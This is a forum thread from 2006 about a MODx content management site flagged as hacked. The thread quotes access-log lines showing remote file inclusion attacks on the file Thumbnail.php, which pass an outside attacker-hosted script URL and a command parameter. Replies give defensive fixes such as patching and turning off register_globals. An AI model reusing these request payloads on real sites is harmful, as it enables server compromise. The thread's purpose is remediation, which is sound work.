I have a shared hosting account with 1 and 1, and I just installed Modx into a subdirectory of my webspace. My domain, theonlineresourceguide.com, points to this folder.
I just got this email form 1 and 1:
Dear customer,
It has come to our attention that your web space has been hacked:
access.log.46.gz:88.198.180.62 - - [19/Nov/2006:16:46:41 -0500] "GET
//manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.php?base
_path
=http%3A%2F%2Fwww.trasgressor.altervista.org%2Fa-2424.txt%3F&&s=r&cmd=di
r&dir=./helpers HTTP/1.1" 200 11714 www.theonlineresourceguide.com
"http:/
/www.theonlineresourceguide.com/" "Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1; SV1; .NET CLR 2.0.50727)" "-"
--
The above was taken from your access logs. It shows that
/theonlineresourceguide/manager/media/browser/mcpuk/connectors/php/Comma
nds/Thumbnail.php was used to perpetrate the hack.
Please contact the developers for this script/application. You will
likely need to install a version update and/or security patch to prevent
further abuse.
Also, reply to this email in acknowledgement of this issue. Failure to
do so can result in your account being locked and possibly terminated.
--
Sincerely,
Erik Sherman
Customer Compliance Operative
1&1 Internet Inc.
Not quite sure what to make of this. Especially since the site doesn’t appear to be hacked at all.
PM me to find out how you can get a FREE ipad 2!
Seems like you missed
the security notice and failed to apply the 0.9.2.2 patch or 0.9.5 RC2 upgrade...
Please check
this board
You can subscribe to alert via
email or
RSS
.: COO - Commerce Guys - Community Driven Innovation :.
MODx est l'outil id
You’re right! I thought that site WAS 0.9.2.2, well......
patching right away.
Thanks David!
PM me to find out how you can get a FREE ipad 2!
Just as an aside, I have been getting the same access logs on my personal blog which runs Textpattern. I guess the hackers have been trying to hack my site using the MODx vulnerability because I have been writing about MODx a lot
This is what I have been getting:
article//manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.php?base_path=http://www.caiovitor.by.ru/spread.txt?
This has come from a whole bunch of different hosts, but hasn’t affected the running of my site.
--
cal wilson
oksushi.com
If you are able to set register_globals to OFF on your server (via .htaccess, php.ini, or asking your host to do it for you), you should definitely do so. It will protect you from this and pretty much all other cross-site scripting (XSS) attacks because it doesn’t allow unexpected variables to be inserted into your scripts via the URL. there are more and more of these types of attacks all the time, and this is among the best preventative steps that you can take.
How would I go about this?
I don’t have access to the php config, but I can use .htaccess
PM me to find out how you can get a FREE ipad 2!
Quote from: joshlfisher at Nov 20, 2006, 07:56 PM
How would I go about this?
I don’t have access to the php config, but I can use .htaccess
If your Apache installation allows for PHP directives in your .htaccess file, just add this line to it:
php_flag register_globals Off
If you get a 500 Server Error then you can’t add these directives there and you’ll need to use the php.ini method instead. In that case contact your host because not all of them allow for local php.ini files (and this method is somewhat more complicated than the .htaccess method because you need to set all PHP settings in this file - not just this one - or the rest revert to PHP defaults). It might be easiest in that case to ask your host to set that value for you in the master php.ini file for your account.
You can check whether it worked properly by looking at the PHP settings screen in MODx (which is in different places depending upon the version, but it’s in Administration -> System Info -> phpInfo() in 0.9.2.2). Search the page for "register_globals" and verify that the Local Value is Off.
you have to put a php.ini file with ’register_globals = 0’ in every single folder with php scripts. .htacess directive ’php_flag register_globals off’ will give a http 500 error in 1and1 shared hosting.
Quote from: Cassiel at Nov 20, 2006, 10:12 PM
you have to put a php.ini file with ’register_globals = 0’ in every single folder with php scripts. .htacess directive ’php_flag register_globals off’ will give a http 500 error in 1and1 shared hosting.
That’s true for more and more hosts nowadays (especially those who use suexec to run PHP). But make sure that you don’t undo your other PHP settings with your local php.ini files. These don’t work the same was as .htaccess files in that they don’t just add or change the settings you include. Any settings not included in your php.ini file will be reset to the PHP defaults, which are probably not your host’s defaults and not what you want (this is also usually why you end up needing one in every directory instead of just one for your whole account). So you either need to include every PHP setting in your local php.ini file or ask your host to change the register_globals value in the master configuration file for your account (which is usually the easiest way). You can find more info on php.ini file use and default configurations on www.php.net.
-
☆ A M B ☆
- 24,524 Posts
I’m on a HeartInternet reseller’s host, with register_globals OFF and a recent version of 0.9.5. I just got access to my server logs, and find several variations on this attack; one of them is even done wrong! But they all do in fact return a 200 response, since the file itself is successfully requested.
It seems that Joomla has been experiencing a similar attack; here is the discussion of how to block these attacks at the .htaccess level:
http://forum.joomla.org/index.php?topic=76578
